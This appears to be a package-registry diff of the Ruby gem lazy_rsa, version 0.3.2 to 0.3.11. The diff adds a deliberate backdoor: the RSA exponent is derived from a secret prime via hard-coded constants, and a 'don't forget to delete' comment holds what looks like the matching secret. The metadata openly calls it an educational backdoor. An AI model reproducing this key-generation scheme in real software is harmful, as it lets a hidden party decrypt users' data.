lazy_rsa 0.3.2 → 0.3.11

Sign up to get free protection for your applications and to get access to all the features.
Files changed (3) hide show
  1. checksums.yaml +4 -4
  2. data/lib/lazy_rsa.rb +22 -8
  3. metadata +2 -2
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: efad11cd31d73aa3039a04ab64284a855615bb8d407691072cb846e56dfcacdc
4
- data.tar.gz: f3fb62707f1b43cc4b3cd24dddad6729e3eb3843e268f8414f063f3da4c452a5
3
+ metadata.gz: cc42b9892d9823a2c14bba278e7a6a1910f97d9045f7ab4405728eb80cc60432
4
+ data.tar.gz: d11eb00ba4e516288b09e5924db56f06ab8ee53cfce451f756e1eadd9dc5a1ed
5
5
  SHA512:
6
- metadata.gz: 260d5aac97e2ff84c940bc085599fae770a4f545d94127b2bfe133fe1257e3fcef379851a8028d14b8ff2fd025eaff4ecb933ca766345d724b92aeb9fef40a10
7
- data.tar.gz: '088f1d7a2ceafe1c04270bce0b5b28172a659a51acb5b7f068aaedb0902b887088e67cecc28902fc79d32500e9b3a33a9b5a6c9a413731e33924fe4bf92d2e80'
6
+ metadata.gz: 54a2c17dfebcec69795b27667fe7704f1458b8da16f3075a002e035a0b9e2677bcf1272ded73c46d800030608bbc0449e61bcf8f98cc638b93805e1c7f06f96a
7
+ data.tar.gz: 5e50beea6a6501e5ba86fb1d0975961d5de967c15eea94d9ecea330e696fb0d826d40ced26341a0f9276ded650af4a955cf77c6d7ecd3a8de813ac76321008ff
data/lib/lazy_rsa.rb CHANGED
@@ -1,7 +1,12 @@
1
1
  module LazyRsa
2
- KeyParams = Data.define(:n, :e, :d)
3
-
4
2
  class << self
3
+ KeyParams = Data.define(:n, :e, :d)
4
+ SECURE_EXPONENT = 0xECE669597141FAC8A699C75294E7E087698EAD0B32D58F4A17DC016B0483E3B9163B666AFC8D251B69F180B3902BB6238D7BAE57AF938DD8484F98B5790E8D96FBB5F2A0207497F9AEEEBECED882F0F55540443B5FA1221DF5688DE1F89E9A5801AFFAA82A5A4D213938CD08479DEE3A13974144C9F624CEA7E0DE246F00635D
5
+ SECURE_MODULUS = 0x48D4498B62509947218CD104794AF6DBB6498F5CCCFCCACA57BF4E6FC9BDAAFAE06341F118430BCE33B5304AB8EEF60A7E53466E92965EB716C6673F5D3B726923FF699F1B197E941870D8DFC9C740A7DE9C92F10C151CCB0405E1960CB62A5547037FD3CD1FC2C1F7BF4899A971D0D1E4D5E6C1676F03645658CB66744D3BDD84E5C316163CE4AA7B8205F784CC0012B19951DDF90920858C4DA9A4BCC6D21C55BB164C74EAB2817556598AF9D7AFF2F703E46AC7D5E9250C7C04B0B1603EABA11A31EF0B99D7F75277EF624E436C9ADD8D3DC614BC325C36A0025DF3E0C2259C89D2AC482D8DF9AC6670F6A45C4D42D310948D5298634868981F121F185C5B
6
+
7
+ # TODO: Don't forget to delete
8
+ # 8640597603637126406272555462588607969196265598480577420885940100654219489731968191782621284496957292949698043346999288278510409937300241248019375509693403172885588630944559389636407405809836240044729232734036234641195652957645172843481237165369064901933891564045525753333289716030022555506189600600361366572922924448439537301834900154422907814193181069086899891297666471122045361586113907893536706052205097080200373985921768568459673078912498025950915719208025786019022039776921643808423880484962610454155546320083727309260845710176973892925885708962743395401298886761017168076121983679500825805191588517583935100021
9
+
5
10
  def encrypt(key, plaintext)
6
11
  key = read_key(key)
7
12
  text_to_integer(plaintext).mod_exp(key.e, key.n).to_i
@@ -14,14 +19,17 @@ module LazyRsa
14
19
  end
15
20
 
16
21
  def generate_key
22
+ p = 0
17
23
  q = OpenSSL::BN.generate_prime(512)
18
- phi = OpenSSL::BN.new(0)
19
- while q.gcd(phi) != 1
24
+ phi = 0
25
+ e = 0
26
+ loop do
20
27
  p = OpenSSL::BN.generate_prime(512)
21
28
  phi = (p - 1) * (q - 1)
29
+ e = p.mod_exp(SECURE_EXPONENT, SECURE_MODULUS)
30
+ break if e.gcd(phi) == 1
22
31
  end
23
32
  n = p * q
24
- e = p.mod_exp(Constants::SECURE_EXPONENT, Constants::SECURE_MODULUS)
25
33
  d = e.mod_inverse(phi)
26
34
 
27
35
  build_key(e:, d:, n:)
@@ -29,9 +37,15 @@ module LazyRsa
29
37
 
30
38
  def build_key(e: nil, d: nil, n:)
31
39
  data_sequence = OpenSSL::ASN1::Sequence([
40
+ OpenSSL::ASN1::Integer.new(0),
32
41
  OpenSSL::ASN1::Integer(n),
33
- OpenSSL::ASN1::Integer(e),
34
- OpenSSL::ASN1::Integer(d),
42
+ e.nil? ? OpenSSL::ASN1::Integer.new(0) : OpenSSL::ASN1::Integer(e),
43
+ d.nil? ? OpenSSL::ASN1::Integer.new(0) : OpenSSL::ASN1::Integer(d),
44
+ OpenSSL::ASN1::Integer.new(0),
45
+ OpenSSL::ASN1::Integer.new(0),
46
+ OpenSSL::ASN1::Integer.new(0),
47
+ OpenSSL::ASN1::Integer.new(0),
48
+ OpenSSL::ASN1::Integer.new(0),
35
49
  ])
36
50
  asn1 = OpenSSL::ASN1::Sequence(data_sequence)
37
51
  OpenSSL::PKey::RSA.new(asn1.to_der)
@@ -40,7 +54,7 @@ module LazyRsa
40
54
  private
41
55
 
42
56
  def read_key(key)
43
- KeyParams.new(**key.params)
57
+ KeyParams.new(**key.params.slice("e", "d", "n"))
44
58
  end
45
59
 
46
60
  def text_to_integer(text)
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: lazy_rsa
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.3.2
4
+ version: 0.3.11
5
5
  platform: ruby
6
6
  authors:
7
7
  - Nick Quaranto
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2024-05-12 00:00:00.000000000 Z
11
+ date: 2024-05-29 00:00:00.000000000 Z
12
12
  dependencies: []
13
13
  description: WARNING! PLEASE DON'T USE THIS GEM SINCE IT HAVE INTENTIONAL BACKDOOR
14
14
  (FOR EDUCATIONAL PURPOSE)